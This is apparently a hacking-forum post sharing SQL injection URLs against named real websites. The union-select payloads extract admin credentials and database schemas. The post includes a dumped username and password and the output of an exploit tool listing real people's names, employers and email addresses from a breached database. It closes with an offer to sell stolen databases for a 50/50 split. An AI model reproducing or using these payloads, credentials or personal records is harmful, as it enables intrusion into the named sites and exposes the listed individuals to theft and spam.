http://www.millennium.net.ua/catalog/?id=-1+union+select+concat(name,':',passwd)+from+users+ limit+0,1/*
http://www.millennium.net.ua/admin/login.php
artem:vfkmdbyf

http://www.mobilevideonet.com/site/index.php?onderdeelID=1&paginaID=1&itemID=-141+union+select+1,2,3,4,5,6,7,8,9,table_name,1,2, 3 ,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 ,9,0+from+information_schema.tables+limit+50,1/*

http://www.mobilevideonet.com/admin

table_name : m_admin
columns : username, password
go go go....

http://www.wallpapervillage.com/wallpaper.php?wallpaperid=-21683+union+select+version(),2,3 ,4,5,6/*

http://mirlestnic.mirlestnic-vrn.ru/site.php?id=-1+union+select+user(),version(),3,database(),5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*

http://www.fertiligene.com/page.php?coul=1&pos=4&pos2=1&idproduit=-150+union+select+table_n ame+from+information_schema.tables+limit+1,1/*

takje iuzaite information_schema.columns i budet vam s4ast'e..i ne zabivaite pro limit..

Zircool ЧИТАЙ правила !!!
http://forum.antichat.org/showpost.php?p=171306&postcount=1

http://omk.ru/ru/press/news/index.php?id9=1172+AND+NEWS.VERSION=0+AND+NEWS.LAN G_ID=1+and+substring(version(),1,1)=%223%22

version: 3.23.58
user: omk

хм.. впервые встретил третью версию.
Хотелось бы с ней поекспериментирвать, но никакого намека на таблицы не встретил

добавлю

Xena Military private sql injection Exploit version 2.0

SQL Injection Private Exploit


System user: DED296\IUSR_DED296
Database name: SecurityPark
Server name: DED296
IS Sysadmin ? : 0
User databases number: 26
User tables count in curent DB: 80
Permission to create tables: Yes
SQL Server version: 2000
Windows version: 2003 SP1

Database: SecurityPark Table: arenatb_register

records:6681

registerid(int) name(varchar) company(varchar) email(varchar)
4598 Lucian Salsa lucian.oana@gmail.com
6009 jim scharff Access Management Systems Limi jim.scharff@amsgroup.uk.com
1518 Jacki Massaro ADLT Jacki_Massaro@ADLT.com
1634 Dzmitry Naumovich JV "UNIBELUS" ltd terra@unibelus.com
2696 Zulkafli BNM zulkafli@bnm.gov.my
6443 Joe Morris Riggs Bank jmorris@usa.net
3302 Wayne Allen Easy-Sec info@easy-sec.co.uk
2512 Laurie Wignall Wincanton Ltd laurie@eurolog.org
3861 marton yona rafael jonam@rafael.co.il
5017 Christine Geovision christine@geovision.com.tw
2597 Boulgouris boulgouris@tee.gr
4420 Gaurav Inurface Solutions raheja_1_gaurav@rediffmail.com
5122 bob jones webmaster@interproach.com
716 John Camilleri EAGLE SECURITY SYSTEMS info@eaglesecurity.org
18 Andy Short Farsight Ltd andy_short@farsight.co.uk
1322 kenny visionlinkplus ltd kenny.mckaig@visionlinkplus.co
1046 russell 121 fire and security russell@121security.freeserve.
6484 Paul Smith J P Alarms j.paul@jpalarms.co.uk
5394 barnet barnet4444@yahoo.com
3848 mark frost NetApps mark.frost@netapp.com
5220 Jonathan Leason Dictator Engineering Ltd j.leason@dictatordirect.com
459 Darren Chalmers-Stev VERITAS Software Ltd darren.chalmer-stevens@veritas
4930 paul wellfair pwellfair@uk2.net
2734 Talboom GIMV elinet@gimv.be



P.S. Елси найдете инекцию в ASP на серезном сайте можете стучать в асю, когда вытянем и продадим базу $ 50/50 .

icq 2617 ( 6 ) 1574